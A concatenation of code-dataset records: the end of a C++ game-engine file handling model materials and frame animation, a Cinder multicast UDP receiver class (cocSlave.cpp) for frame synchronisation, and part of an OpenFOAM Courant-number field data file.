void RenderableModel::RenderFrame(SceneRenderContext& renderContext)
{
AnimModelsRenderer& renderer = gRenderManager.mAnimatingModelsRenderer;
renderer.Render(renderContext, this);
}
void RenderableModel::SetModelAsset(ModelAsset* modelAsset)
{
if (mModelAsset == modelAsset) // same asset, ignore
return;
Clear();
if (modelAsset == nullptr)
return;
mModelAsset = modelAsset;
const int NumMaterials = (int) modelAsset->mMaterialsArray.size();
SetMeshMaterialsCount(NumMaterials);
// setup materials
mSubmeshTextures.clear();
mSubmeshTextures.resize(NumMaterials);
int iCurrentMaterial = 0;
for (const ModelAsset::SubMeshMaterial& srcMaterial: modelAsset->mMaterialsArray)
{
MeshMaterial* material = GetMeshMaterial(iCurrentMaterial);
debug_assert(material);
debug_assert(!srcMaterial.mTextures.empty());
material->mDiffuseTexture = gTexturesManager.GetTexture2D(srcMaterial.mTextures[0]);
if (srcMaterial.mEnvMappingTexture.length())
{
material->mEnvMappingTexture = gTexturesManager.GetTexture2D(srcMaterial.mEnvMappingTexture);
}
if (srcMaterial.mFlagHasAlpha)
{
material->mRenderStates.mIsAlphaBlendEnabled = true;
material->mRenderStates.mBlendingMode = eBlendingMode_Alpha;
}
if (srcMaterial.mFlagAlphaAdditive)
{
material->mRenderStates.mIsAlphaBlendEnabled = true;
material->mRenderStates.mBlendingMode = eBlendingMode_AlphaAdditive;
material->mRenderStates.mIsDepthWriteEnabled = false;
}
for (const std::string& sourceTexture: srcMaterial.mTextures)
{
mSubmeshTextures[iCurrentMaterial].push_back(gTexturesManager.GetTexture2D(sourceTexture));
}
++iCurrentMaterial;
}
InvalidateMesh();
SetAnimationState();
}
void RenderableModel::Clear()
{
mModelAsset = nullptr;
ReleaseRenderResources();
ClearMeshMaterials();
mSubmeshTextures.clear();
SetAnimationState();
}
bool RenderableModel::StartAnimation(float animationSpeed, bool loop)
{
if (IsStatic())
{
// static or null models cannot be animated
return false;
}
ClearAnimation();
debug_assert(mModelAsset);
float frameDuration = 1.0f / animationSpeed;
mAnimState.mAnimationEndTime = frameDuration * mModelAsset->mFramesCount;
mAnimState.mFramesPerSecond = animationSpeed;
mAnimState.mIsAnimationActive = true;
mAnimState.mIsAnimationLoop = loop;
return true;
}
void RenderableModel::ClearAnimation()
{
mAnimState.mFrame0 = mAnimState.mStartFrame;
mAnimState.mFrame1 = mAnimState.mStartFrame + 1;
debug_assert(mAnimState.mFrame1 <= mAnimState.mFinalFrame);
mAnimState.mCyclesCount = 0;
mAnimState.mMixFrames = 0.0f;
mAnimState.mAnimationTime = 0.0f;
mAnimState.mAnimationEndTime = 0.0f;
mAnimState.mFramesPerSecond = 0.0f;
mAnimState.mIsAnimationActive = false;
mAnimState.mIsAnimationLoop = false;
mAnimState.mIsAnimationPaused = false;
SetLocalBounds();
}
void RenderableModel::RewindToStart()
{
debug_assert(false); // todo
}
void RenderableModel::RewingToEnd()
{
debug_assert(false); // todo
}
void RenderableModel::AdvanceAnimation(float deltaTime)
{
if (!IsAnimationActive())
{
debug_assert(false);
return;
}
debug_assert(mModelAsset);
if (deltaTime < 0.0001f) // threshold
return;
mAnimState.mAnimationTime += deltaTime;
if (mAnimState.mAnimationTime > mAnimState.mAnimationEndTime)
{
if (!mAnimState.mIsAnimationLoop)
{
mAnimState.mAnimationTime = mAnimState.mAnimationEndTime;
++mAnimState.mCyclesCount;
mAnimState.mFrame0 = mAnimState.mFinalFrame;
mAnimState.mFrame1 = mAnimState.mFinalFrame;
mAnimState.mMixFrames = 0.0f;
mAnimState.mIsAnimationActive = false;
return;
}
float numCycleTimes = (mAnimState.mAnimationTime / mAnimState.mAnimationEndTime);
mAnimState.mCyclesCount += (int) numCycleTimes;
// loop enabled
mAnimState.mAnimationTime = ::fmodf(mAnimState.mAnimationTime, mAnimState.mAnimationEndTime);
}
float progress = (mAnimState.mAnimationTime / mAnimState.mAnimationEndTime); // [0,1]
float baseFramef = glm::mix(mAnimState.mStartFrame * 1.0f, mAnimState.mFinalFrame * 1.0f, progress);
int prevFrame = mAnimState.mFrame0;
mAnimState.mFrame0 = (int) baseFramef;
mAnimState.mFrame1 = ((mAnimState.mFrame0 - mAnimState.mStartFrame + 1) % mModelAsset->mFramesCount) + mAnimState.mStartFrame;
mAnimState.mMixFrames = (baseFramef - mAnimState.mFrame0 * 1.0f);
if (prevFrame != mAnimState.mFrame0)
{
SetLocalBounds();
}
}
void RenderableModel::SetAnimationPaused(bool isPaused)
{
if (IsAnimationActive())
{
mAnimState.mIsAnimationPaused = isPaused;
}
}
bool RenderableModel::IsAnimationLoop() const
{
return mAnimState.mIsAnimationLoop;
}
bool RenderableModel::IsAnimationActive() const
{
return mAnimState.mIsAnimationActive;
}
bool RenderableModel::IsAnimationFinish() const
{
return !mAnimState.mIsAnimationActive && mAnimState.mCyclesCount > 0;
}
bool RenderableModel::IsAnimationPaused() const
{
return mAnimState.mIsAnimationPaused;
}
bool RenderableModel::IsStatic() const
{
return mAnimState.mStartFrame == mAnimState.mFinalFrame;
}
void RenderableModel::SetPreferredLOD(int lod)
{
if (mPreferredLOD == lod)
return;
mPreferredLOD = lod;
// todo
}
void RenderableModel::SetAnimationState()
{
mAnimState = BlendFramesAnimState ();
if (mModelAsset == nullptr)
{
return;
}
mAnimState.mStartFrame = 0;
mAnimState.mFinalFrame = mModelAsset->mFramesCount - 1;
SetLocalBounds();
}
void RenderableModel::SetLocalBounds()
{
SetLocalBoundingBox(mModelAsset->mFramesBounds[mAnimState.mFrame0]);
}
|
3c75f565ea5e584fa206d52028722701dc5df8c2
|
7840bc8fecb18375dfdedd037e1b80628170c99b
|
/src/cocSlave.cpp
|
d968947a22fb6d31dceccc41147fadd829aa16d4
|
[] |
no_license
|
codeoncanvas/coc-slavedriver
|
0b2563bdbaee0e53d173b351d45c1b7f9407528c
|
464683284adaaa226dbca7f84910c3db90aeec09
|
refs/heads/master
| 2020-12-25T07:12:10.683876
| 2018-02-06T04:16:25
| 2018-02-06T04:16:25
| 61,694,567
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 4,424
|
cpp
|
cocSlave.cpp
|
/**
*
* ┌─┐╔═╗┌┬┐┌─┐
* │ ║ ║ ││├┤
* └─┘╚═╝─┴┘└─┘
* ┌─┐┌─┐╔╗╔┬ ┬┌─┐┌─┐
* │ ├─┤║║║└┐┌┘├─┤└─┐
* └─┘┴ ┴╝╚╝ └┘ ┴ ┴└─┘
*
* Copyright (c) 2016 Code on Canvas Pty Ltd, http://CodeOnCanvas.cc
*
* This software is distributed under the MIT license
* https://tldrlegal.com/license/mit-license
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code
*
**/
#include "cinder/Log.h"
#include "cinder/Utilities.h"
#include "cinder/app/App.h"
#include "cocSlave.h"
using namespace ci;
using namespace std;
using namespace ci::app;
namespace coc{
void Slave::setup( std::string _multicastIp, int _port ) {
SlaveDriverBase::setup();
port = _port;
multicastIp = _multicastIp;
// UDP
udpEndpoint = asio::ip::udp::endpoint( asio::ip::address::from_string("0.0.0.0"), (short) port);
udpSocket = new asio::ip::udp::socket( app::App::get()->io_service() );
udpSocket->open(udpEndpoint.protocol());
udpSocket->set_option(asio::ip::udp::socket::reuse_address(true));
udpSocket->bind(udpEndpoint);
udpRead();
// lastReceivedUdp = getElapsedSeconds();
}
void Slave::joinGroup()
{
if (isJoined) return;
udpSocket->set_option(
asio::ip::multicast::join_group(asio::ip::address::from_string(multicastIp)));
isJoined = true;
CI_LOG_I("Joined multicast group");
}
void Slave::leaveGroup()
{
if (!isJoined) return;
udpSocket->set_option(
asio::ip::multicast::leave_group(asio::ip::address::from_string(multicastIp)));
isJoined = false;
CI_LOG_I("Left multicast group");
}
void Slave::udpHandleReceive( const asio::error_code &error, size_t bytes_recvd )
{
if (error) {
CI_LOG_E("UDP error: " << error.message() );
}
else {
lastReceivedUdp = getElapsedSeconds();
//todo: optimise with bytes instead buffer?
ci::BufferRef buf = ci::Buffer::create(udpData, bytes_recvd);
if (bytesInUdp.getPairs().size()) {
bytesInUdp.clear();
// CI_LOG_E("Too slow to process UDP");
}
bytesInUdp.processBuffer(buf);
for ( KeyValByteBase * kv : bytesInUdp.getPairs() ) {
switch (kv->getKey()) {
case 'F':
{
coc::KeyValByte<int32_t>* tmp = (coc::KeyValByte<int32_t>*) kv;
uint32_t newFrame = tmp->getValue();
if (newFrame <= lastFrameReceived) { //duplicate/old packet
bytesInUdp.clear();
}
else {
hasFrameChanged = true;
lastFrameReceived = newFrame;
}
}
break;
case 'T':
{
coc::KeyValByte<double>* tmp = (coc::KeyValByte<double>*) kv;
lastDeltaReceived = tmp->getValue();
}
break;
case 'A':
{
coc::KeyValByte<double>* tmp = (coc::KeyValByte<double>*) kv;
lastAppTimeReceived = tmp->getValue();
}
break;
}
}
udpRead();//recursive read to ensure no backlog of messages
}
}
void Slave::udpRead() {
udpSocket->async_receive_from(
asio::buffer(udpData, udpMax), udpEndpoint,
bind(&Slave::udpHandleReceive, this,
std::placeholders::_1,//error
std::placeholders::_2));//bytes_transferred
}
void Slave::update() {
if (!isJoined && !hasJoinedAtStart && getElapsedSeconds() > delayJoin) { //delay joining group on launch to avoid delays
CI_LOG_I("About to join multicast group for first time...");
joinGroup();
hasJoinedAtStart = true;
// lastReceivedUdp = getElapsedSeconds();
}
else if (isJoined && getElapsedSeconds() - lastReceivedUdp > 5) { //reset frame if master down
lastFrameReceived = 0;
}
}
void Slave::send()
{
//UDP
bytesInUdp.clear();
// udpRead();
}
double Slave::getTimeDelta()
{
return lastDeltaReceived;
}
double Slave::getTimeApp()
{
return lastAppTimeReceived;
}
void Slave::drawDebug( ci::ivec2 pos )
{
string text = "SLAVE:\n";
text += "lastFrame= " + toString( lastFrameReceived ) + "\n";
text += "lastDelta= " + toString( lastDeltaReceived ) + "\n";
text += "lastAppTime= " + toString( lastAppTimeReceived ) + "\n";
TextBox textbox;
textbox.setText(text);
gl::TextureRef tex = gl::Texture::create( textbox.render() );
gl::ScopedColor col( Color(1,1,1) );
gl::draw(tex, pos);
}
bool Slave::getHasFrameChanged()
{
bool b = hasFrameChanged;
hasFrameChanged = false;
return b;
}
void Slave::cleanup()
{
//
}
}//namespace coc
|
1f7836e652331b4e372ffd4efaa5034e69d66be1
|
cb80a8562d90eb969272a7ff2cf52c1fa7aeb084
|
/inletTest9/0.032/Co
|
cd5032b447755c5a2accc64a048e4825cff3de4a
|
[] |
no_license
|
mahoep/inletCFD
|
eb516145fad17408f018f51e32aa0604871eaa95
|
0df91e3fbfa60d5db9d52739e212ca6d3f0a28b2
|
refs/heads/main
| 2023-08-30T22:07:41.314690
| 2021-10-14T19:23:51
| 2021-10-14T19:23:51
| 314,657,843
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 124,259
|
Co
|
/*--------------------------------*- C++ -*----------------------------------*\
| ========= | |
| \\ / F ield | OpenFOAM: The Open Source CFD Toolbox |
| \\ / O peration | Version: v2006 |
| \\ / A nd | Website: www.openfoam.com |
| \\/ M anipulation | |
\*---------------------------------------------------------------------------*/
FoamFile
{
version 2.0;
format ascii;
class volScalarField;
location "0.032";
object Co;
}
// * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * //
dimensions [0 0 0 0 0 0 0];
internalField nonuniform List<scalar>
12716
(
0.0273387
0.0259737
0.0282121
0.0295934
0.0301474
0.0296076
0.0300531
0.0300218
0.0298496
0.0297978
0.0296121
0.0295719
0.0295038
0.029456
0.0294059
0.0293586
0.0293093
0.0292595
0.0292087
0.0291565
0.0291025
0.0290467
0.0289888
0.0289291
0.0288676
0.0288044
0.0287395
0.0286732
0.0286055
0.0285365
0.0284663
0.0283949
0.0283227
0.0282496
0.0281758
0.0281014
0.0280266
0.0279515
0.0278763
0.0278011
0.0277261
0.0276515
0.0275774
0.027504
0.0274314
0.0273599
0.0272897
0.0272208
0.0271536
0.0270879
0.0270237
0.0269604
0.0268974
0.0268339
0.0267699
0.0267285
0.0267173
0.0267888
0.0269764
0.0274029
0.0282848
0.0307264
0.040263
0.0610089
0.0643383
0.0595812
0.0575059
0.0546212
0.0535691
0.0519453
0.049168
0.0444197
0.0486193
0.0514557
0.0463775
0.0458004
0.0432348
0.0360525
0.0388256
0.0398124
0.0375326
0.0375467
0.0354225
0.0324133
0.0350807
0.035689
0.0353469
0.0348135
0.032096
0.0313211
0.0343089
0.0349771
0.0349356
0.0342351
0.0310983
0.030835
0.0341935
0.0349455
0.0347794
0.033947
0.0306032
0.0303709
0.0339698
0.0348319
0.0346487
0.033711
0.0301529
0.0299457
0.0337337
0.0346925
0.0345024
0.0334749
0.0297474
0.0295599
0.0334993
0.0345419
0.03435
0.0332441
0.0293788
0.0292058
0.0332698
0.0343865
0.0341924
0.0330167
0.0290373
0.0288757
0.0330435
0.0342256
0.0340303
0.0327923
0.0287166
0.0285635
0.0328194
0.0340609
0.0338644
0.0325699
0.0284118
0.0282652
0.0325969
0.0338924
0.0336947
0.0323485
0.028119
0.0279773
0.0323748
0.03372
0.0335209
0.0321271
0.0278354
0.0276973
0.0321522
0.0335432
0.0333426
0.0319047
0.0275584
0.027423
0.0319282
0.0333619
0.0331596
0.0316805
0.0272862
0.0271527
0.031702
0.0331755
0.0329713
0.0314537
0.0270172
0.0268847
0.0314729
0.0329838
0.0327775
0.0312237
0.0267499
0.0266178
0.03124
0.0327861
0.0325775
0.0309895
0.0264831
0.0263508
0.0310025
0.0325821
0.032371
0.0307505
0.0262156
0.0260825
0.03076
0.0323713
0.0321574
0.030506
0.0259463
0.025812
0.0305116
0.0321532
0.0319363
0.0302553
0.0256741
0.025538
0.0302564
0.0319271
0.0317068
0.0299975
0.0253979
0.0252592
0.0299934
0.0316922
0.031468
0.0297312
0.0251162
0.0249742
0.0297214
0.0314473
0.0312186
0.0294552
0.0248275
0.0246815
0.0294389
0.0311911
0.0309573
0.0291682
0.0245303
0.0243795
0.0291446
0.0309223
0.030683
0.0288687
0.0242233
0.0240671
0.0288372
0.0306399
0.0303945
0.0285555
0.0239051
0.0237429
0.0285155
0.0303429
0.030091
0.0282277
0.0235747
0.0234059
0.0281785
0.0300301
0.0297712
0.027884
0.0232307
0.0230546
0.0278248
0.0297005
0.029434
0.027523
0.0228718
0.0226876
0.0274529
0.0293525
0.0290777
0.0271429
0.0224962
0.022303
0.027061
0.0289845
0.0287006
0.0267421
0.0221023
0.0218993
0.0266474
0.0285948
0.0283011
0.0263189
0.0216886
0.0214754
0.0262107
0.0281819
0.0278778
0.025872
0.0212541
0.02103
0.0257494
0.0277445
0.0274294
0.0254001
0.0207975
0.0205617
0.0252623
0.0272811
0.0269543
0.0249015
0.0203173
0.0200692
0.0247475
0.02679
0.0264508
0.0243746
0.0198122
0.0195511
0.0242035
0.0262695
0.0259168
0.0238176
0.0192806
0.0190056
0.0236281
0.0257171
0.0253498
0.0232281
0.0187207
0.0184309
0.0230188
0.0251303
0.0247474
0.022604
0.018131
0.0178262
0.0223744
0.0245073
0.0241088
0.0219452
0.0175119
0.0171936
0.021696
0.0238484
0.0234356
0.0212541
0.0168671
0.0165378
0.0209867
0.0231552
0.022729
0.020534
0.0162023
0.0158663
0.0202525
0.0224328
0.0219963
0.019793
0.0155256
0.0151865
0.0194999
0.0216858
0.0212417
0.0190371
0.0148452
0.0145085
0.0187372
0.0209205
0.0204731
0.0182767
0.0141731
0.0138465
0.0179766
0.0201465
0.0197015
0.0175256
0.0135252
0.013217
0.0172332
0.0193762
0.0189405
0.0167998
0.0129185
0.0126376
0.0165239
0.0186246
0.0182069
0.0161174
0.0123707
0.0121264
0.0158684
0.0179105
0.0175212
0.0154989
0.0119006
0.0117017
0.0152874
0.0172553
0.0169043
0.0149645
0.011525
0.0113788
0.0148011
0.0166812
0.0163778
0.0145319
0.0112557
0.0111633
0.0144218
0.0162047
0.015953
0.0142079
0.0110922
0.0110502
0.014151
0.0158324
0.0156458
0.0140122
0.0110354
0.0110566
0.0140014
0.0155623
0.0154869
0.0139976
0.0111004
0.0111529
0.0139543
0.0154136
0.0154756
0.014045
0.0112227
0.0112977
0.0140249
0.0154467
0.0155356
0.014145
0.0113855
0.0114743
0.0141443
0.0155254
0.015628
0.0142788
0.0115711
0.0116656
0.0142881
0.015628
0.0157391
0.0144305
0.0117651
0.0118604
0.014445
0.0157458
0.0158636
0.0145925
0.011959
0.0120518
0.0146092
0.0158748
0.0159956
0.0147577
0.0121465
0.0122343
0.0147728
0.0160075
0.016128
0.0149192
0.0123227
0.0124041
0.0149306
0.0161381
0.0162563
0.0150727
0.012485
0.0125587
0.0150783
0.0162622
0.0163775
0.0152162
0.0126326
0.0126997
0.0152165
0.0163798
0.0164929
0.0153507
0.0127677
0.0128299
0.0153473
0.0164928
0.0166054
0.0154796
0.0128935
0.012951
0.0154731
0.0166045
0.0167166
0.0156032
0.0130098
0.0130622
0.0155922
0.016713
0.0168224
0.0157177
0.0131149
0.0131607
0.0157009
0.0168139
0.0169186
0.0158207
0.0132062
0.0132452
0.0157967
0.0169035
0.0170038
0.0159116
0.0132849
0.0133186
0.0158818
0.0169837
0.0170797
0.0159924
0.0133541
0.0133845
0.0159586
0.017056
0.0171502
0.0160671
0.0134176
0.0134466
0.0160344
0.0171279
0.01722
0.0161398
0.0134775
0.0135041
0.0161071
0.017198
0.0172867
0.0162084
0.0135328
0.0135581
0.0161759
0.0172651
0.0173516
0.0162745
0.0135858
0.0136102
0.0162426
0.0173304
0.0174144
0.0163382
0.013637
0.0136593
0.016306
0.0173929
0.0174724
0.0163965
0.0136829
0.0137013
0.0163621
0.0174487
0.0175227
0.0164466
0.0137207
0.0137214
0.0163934
0.0174791
0.017539
0.0164721
0.0137365
0.0136307
0.0163097
0.0174139
0.0174178
0.01636
0.0136433
0.0132394
0.0159262
0.0170788
0.0172144
0.0161686
0.0135236
0.0127013
0.0154297
0.0167271
0.0174261
0.0165873
0.0139968
0.0128752
0.0156204
0.0169126
0.0188159
0.0180581
0.0153766
0.0147761
0.0181966
0.0200016
0.0208834
0.0195565
0.0163191
0.0225938
0.0233574
0.0234272
0.0238015
0.0236751
0.0238221
0.0240209
0.0241747
0.0243545
0.0245212
0.0246315
0.0247522
0.0248341
0.0249047
0.0251364
0.0255032
0.0263057
0.0275891
0.0305934
0.0377112
0.0545917
0.0805764
0.062174
0.0475105
0.0445314
0.0462902
0.0424538
0.053391
0.0942923
0.133176
0.0809843
0.0584761
0.0362697
0.0270303
0.0392391
0.0457808
0.0409938
0.0367085
0.026437
0.0240803
0.0337788
0.0379862
0.0371017
0.0334764
0.0240297
0.0236305
0.033608
0.0379971
0.0373428
0.033103
0.0235593
0.0235961
0.0333075
0.0375992
0.037493
0.0332718
0.0234513
0.0234221
0.0334203
0.0376732
0.037722
0.0333713
0.0235298
0.0235469
0.0332927
0.0375975
0.0378015
0.0334332
0.0235995
0.0235604
0.0333222
0.0376262
0.0378853
0.0335523
0.0236988
0.0236845
0.0334162
0.0376762
0.0379653
0.0336546
0.023831
0.0238477
0.0335409
0.0377549
0.0380391
0.0337476
0.0239556
0.0239696
0.0336432
0.0378305
0.0381269
0.0338547
0.0240738
0.0240833
0.0337422
0.0379043
0.0382117
0.0339591
0.0241852
0.0241856
0.0338339
0.0379745
0.0382984
0.0340686
0.0243003
0.0243016
0.0339351
0.0380516
0.0383818
0.0341769
0.024424
0.0244305
0.0340433
0.0381318
0.0384705
0.0342877
0.0245489
0.0245521
0.0341462
0.0382087
0.0385573
0.0344009
0.0246764
0.0246793
0.0342532
0.0382882
0.0386515
0.0345214
0.0248118
0.0248158
0.0343697
0.038376
0.038742
0.0346399
0.02495
0.0249554
0.0344902
0.0384684
0.0388338
0.0347613
0.0250954
0.0251054
0.034611
0.0385613
0.0389277
0.0348874
0.0252548
0.0252676
0.0347433
0.0386661
0.0390277
0.035012
0.0254072
0.0254088
0.0348773
0.0387858
0.0391277
0.0351352
0.0255331
0.0255069
0.0349861
0.0388944
0.0392455
0.0352902
0.0256935
0.0256775
0.0351218
0.0390018
0.0393641
0.0354504
0.0258897
0.0258972
0.0352984
0.0391215
0.0394858
0.0356001
0.0260931
0.0261207
0.0354941
0.0392618
0.0396122
0.0357377
0.0262452
0.0262258
0.0356048
0.0393822
0.0397584
0.0359302
0.0264359
0.0264302
0.0357608
0.0395069
0.0398981
0.0361
0.0266474
0.0266609
0.0359526
0.0396362
0.0400468
0.0362877
0.0268706
0.0269008
0.0361492
0.0397819
0.0402022
0.0364742
0.0270897
0.0271037
0.0363257
0.0399232
0.0403695
0.0366744
0.0272959
0.0272893
0.0364838
0.040063
0.0405424
0.0368903
0.027555
0.0275806
0.0367122
0.0402192
0.0407225
0.0371093
0.0278032
0.0278335
0.0369366
0.0403913
0.0409197
0.037338
0.0280531
0.02808
0.037159
0.0405693
0.041133
0.0375877
0.0283147
0.0283338
0.037386
0.0407531
0.0413734
0.0378615
0.0286194
0.0286384
0.0376416
0.0409446
0.0416425
0.0381794
0.0289521
0.0289613
0.0379181
0.0411566
0.0419559
0.0385385
0.0293199
0.0292982
0.0381936
0.0413661
0.0423379
0.0390072
0.029798
0.0297898
0.038537
0.0416084
0.0427999
0.0395432
0.0304156
0.0304184
0.0389222
0.0420115
0.0435408
0.0402345
0.0312893
0.0312987
0.0394562
0.0423098
0.0437088
0.0407158
0.0321487
0.0322056
0.0401662
0.042601
0.0442131
0.0412882
0.0327814
0.0325838
0.0403371
0.0428696
0.0443122
0.0414108
0.0332422
0.0329738
0.0406234
0.0428336
0.0444411
0.0416384
0.0335736
0.033451
0.0407175
0.0430455
0.0445304
0.041892
0.0340754
0.0343393
0.0414749
0.043251
0.0447955
0.0421961
0.0347385
0.0345172
0.0414006
0.0435415
0.0447634
0.0423383
0.0351417
0.0350998
0.0416649
0.0435263
0.0448213
0.0425294
0.0357528
0.0358612
0.0420754
0.0438317
0.0450822
0.0428573
0.0364988
0.0367639
0.0425819
0.0440909
0.0455388
0.043528
0.0375459
0.0381342
0.0435676
0.0450508
0.0469868
0.0453721
0.0397155
0.0398949
0.0449279
0.0465491
0.0476637
0.0470852
0.042471
0.0410237
0.0430356
0.0415759
0.126455
0.0939709
0.0585155
0.0456986
0.066218
0.0863392
0.0555281
0.051033
0.0422561
0.0398773
0.0457758
0.0479655
0.0464212
0.0448993
0.0398717
0.0392492
0.0438651
0.0576581
0.0576186
0.056227
0.0397682
0.053533
0.0585945
0.0573432
0.0520056
0.0493938
0.0437417
0.0431744
0.0465309
0.0477451
0.0441454
0.0440038
0.0426062
0.0405479
0.03829
0.0336757
0.0774911
0.0549225
0.0449728
0.0447733
0.0520091
0.0697638
0.0495589
0.0475746
0.0448136
0.0430195
0.0427164
0.042137
0.0386766
0.0397773
0.0427565
0.0429374
0.040153
0.0422176
0.0405595
0.040057
0.0446949
0.0446912
0.0380065
0.0367064
0.0298911
0.0369891
0.0446379
0.0477624
0.052213
0.0698746
0.0576647
0.0548842
0.0511434
0.0521558
0.0536073
0.0631061
0.0418939
0.0506242
0.0527203
0.0535387
0.066419
0.089444
0.0792426
0.0683507
0.05686
0.0552332
0.0571425
0.0574028
0.0545728
0.0534039
0.05265
0.0486716
0.0534792
0.0478826
0.0801477
0.0622575
0.0457939
0.0402168
0.0589073
0.0691111
0.0577568
0.0513396
0.0316625
0.0211309
0.0481136
0.04946
0.0605419
0.053682
0.0178103
0.0324562
0.0677947
0.0786531
0.0999657
0.102378
0.0601374
0.0987333
0.15395
0.139118
0.194235
0.209902
0.140449
0.193358
0.24074
0.190304
0.22959
0.250065
0.248773
0.300014
0.221196
0.224622
0.172735
0.228246
0.338818
0.340079
0.327666
0.330407
0.28474
0.289583
0.304747
0.25215
0.28712
0.256831
0.399783
0.310531
0.224356
0.187803
0.245267
0.325969
0.238572
0.236069
0.166091
0.151001
0.246122
0.346741
0.30832
0.207184
0.130564
0.11765
0.181449
0.189444
0.235389
0.198244
0.113059
0.103254
0.200197
0.301922
0.28811
0.175943
0.0867608
0.0816748
0.143964
0.154497
0.193294
0.158307
0.0800732
0.0724495
0.16123
0.254128
0.269945
0.162474
0.0646584
0.0627435
0.146752
0.173515
0.203554
0.13683
0.0607488
0.058818
0.0977574
0.0849104
0.105615
0.0960805
0.0587001
0.058252
0.100342
0.148203
0.158011
0.102202
0.0569124
0.054655
0.075008
0.0766883
0.102253
0.0858288
0.0578994
0.0574979
0.0908174
0.139165
0.14037
0.0907812
0.0567047
0.0538223
0.0656735
0.0656933
0.0818057
0.0732211
0.0561547
0.0590242
0.0815562
0.0977226
0.134029
0.0883899
0.0587578
0.0581489
0.0846134
0.132362
0.0745245
0.0688729
0.0557532
0.0615202
0.0875708
0.103725
0.142943
0.108632
0.0832891
0.0763024
0.0832941
0.125285
0.0849497
0.0623682
0.0562973
0.0572129
0.0684678
0.0790903
0.0877632
0.0734098
0.0575014
0.0631161
0.0941106
0.130501
0.183324
0.131831
0.079469
0.0585527
0.0647194
0.065173
0.0818697
0.0744343
0.0613654
0.062728
0.0803028
0.0925455
0.137318
0.100638
0.0687174
0.0844562
0.137204
0.188385
0.0681832
0.0682614
0.0621674
0.0680836
0.0844783
0.0949904
0.141826
0.105972
0.0729269
0.0893374
0.142096
0.192593
0.0729822
0.0724233
0.0656589
0.0714586
0.08778
0.0984469
0.143952
0.108557
0.0747424
0.0904747
0.14306
0.193256
0.0720339
0.0723196
0.0666615
0.068731
0.0799931
0.0852228
0.0965272
0.0853174
0.0692011
0.07688
0.110998
0.148017
0.196415
0.144649
0.0908712
0.0686973
0.0744562
0.0738247
0.10138
0.090562
0.0732896
0.0798679
0.114908
0.152897
0.198911
0.147425
0.0936276
0.0707749
0.0762271
0.075228
0.101351
0.0916818
0.0751332
0.0816482
0.116332
0.154363
0.203311
0.151424
0.0963695
0.0725557
0.0783588
0.0774693
0.10613
0.0955386
0.0778402
0.0843349
0.120316
0.159473
0.204297
0.151957
0.0970139
0.073189
0.0788779
0.0777945
0.10535
0.0953077
0.0783823
0.0858337
0.122131
0.161425
0.209667
0.155696
0.0998717
0.0758199
0.0814174
0.0802047
0.110482
0.0993291
0.0810059
0.0884241
0.126765
0.16744
0.21311
0.159678
0.102745
0.0816869
0.0914674
0.0934643
0.165169
0.128009
0.0910438
0.105384
0.16084
0.212345
0.0857173
0.0859922
0.0793975
0.0860605
0.104475
0.115199
0.169607
0.128461
0.0912903
0.107581
0.165544
0.219953
0.0830201
0.0845642
0.0793448
0.0877715
0.105904
0.116708
0.175852
0.133425
0.0935908
0.108507
0.166971
0.220794
0.100504
0.0977122
0.0864954
0.0974856
0.136324
0.175414
0.222368
0.168755
0.111042
0.0845118
0.0904376
0.0893654
0.12008
0.109438
0.0912451
0.0972552
0.137796
0.181221
0.228463
0.173132
0.11302
0.089534
0.100311
0.102665
0.179702
0.14001
0.100744
0.115232
0.174225
0.22784
0.0908128
0.0923041
0.0869186
0.0948272
0.113943
0.125664
0.187684
0.143403
0.100745
0.116752
0.177816
0.233699
0.107009
0.104217
0.0929431
0.10466
0.145979
0.18721
0.232572
0.178038
0.117716
0.0909769
0.0968172
0.0953177
0.127659
0.115977
0.0966343
0.104768
0.148245
0.19393
0.239528
0.182231
0.119139
0.0953494
0.106256
0.108397
0.191489
0.149143
0.107231
0.121665
0.183333
0.24039
0.0966914
0.098652
0.0932279
0.100696
0.12092
0.133701
0.202519
0.15521
0.108769
0.122868
0.188213
0.247016
0.112844
0.110495
0.0992527
0.11201
0.157097
0.201907
0.248507
0.19125
0.126841
0.102483
0.114526
0.117388
0.206012
0.160827
0.115397
0.128378
0.192523
0.249805
0.120264
0.116829
0.103698
0.115283
0.159564
0.204114
0.251835
0.193168
0.129141
0.100084
0.106091
0.104216
0.139893
0.127297
0.106361
0.115736
0.163237
0.213306
0.259055
0.197113
0.129904
0.105049
0.117061
0.119373
0.212905
0.16541
0.118075
0.132513
0.198213
0.257857
0.122559
0.120007
0.107543
0.121159
0.168458
0.215737
0.261051
0.202016
0.135119
0.109504
0.122452
0.125497
0.214698
0.168361
0.122021
0.135815
0.203456
0.264573
0.108088
0.110389
0.104769
0.111845
0.134741
0.148626
0.224989
0.171883
0.122016
0.13679
0.206275
0.270818
0.125356
0.123061
0.110551
0.12506
0.174598
0.224537
0.272142
0.20965
0.14033
0.113595
0.127022
0.130007
0.229117
0.178829
0.128421
0.141896
0.212003
0.274247
0.133274
0.129807
0.115721
0.13016
0.180488
0.23086
0.278341
0.214747
0.144479
0.117455
0.131066
0.134101
0.23296
0.182343
0.131655
0.14556
0.215842
0.280131
0.136406
0.132697
0.118288
0.131925
0.181832
0.231956
0.28046
0.215711
0.14506
0.112714
0.119605
0.117741
0.158031
0.143806
0.120349
0.131453
0.184834
0.241466
0.291731
0.221421
0.146897
0.118404
0.131724
0.134107
0.242162
0.187895
0.134289
0.149857
0.223462
0.290274
0.1377
0.135121
0.121365
0.137593
0.191517
0.245908
0.295314
0.226348
0.15238
0.123955
0.138935
0.142421
0.249711
0.194718
0.139993
0.154318
0.230138
0.298614
0.142216
0.13946
0.125294
0.14151
0.196188
0.251008
0.301035
0.232042
0.156284
0.127616
0.142619
0.146114
0.254213
0.198411
0.142877
0.157264
0.233847
0.303097
0.145766
0.142782
0.128222
0.144368
0.199758
0.255263
0.306549
0.236595
0.159589
0.130285
0.145752
0.149454
0.258701
0.20242
0.146383
0.160968
0.238051
0.307912
0.148797
0.145713
0.131019
0.146825
0.202815
0.258707
0.309294
0.24055
0.162277
0.131758
0.146977
0.150494
0.256696
0.201487
0.146485
0.162308
0.241616
0.313233
0.129455
0.132399
0.126068
0.135385
0.162271
0.178642
0.270484
0.206983
0.147285
0.164031
0.245874
0.322033
0.1495
0.146929
0.132347
0.149729
0.208859
0.268768
0.322931
0.248979
0.167265
0.135866
0.151442
0.154585
0.274624
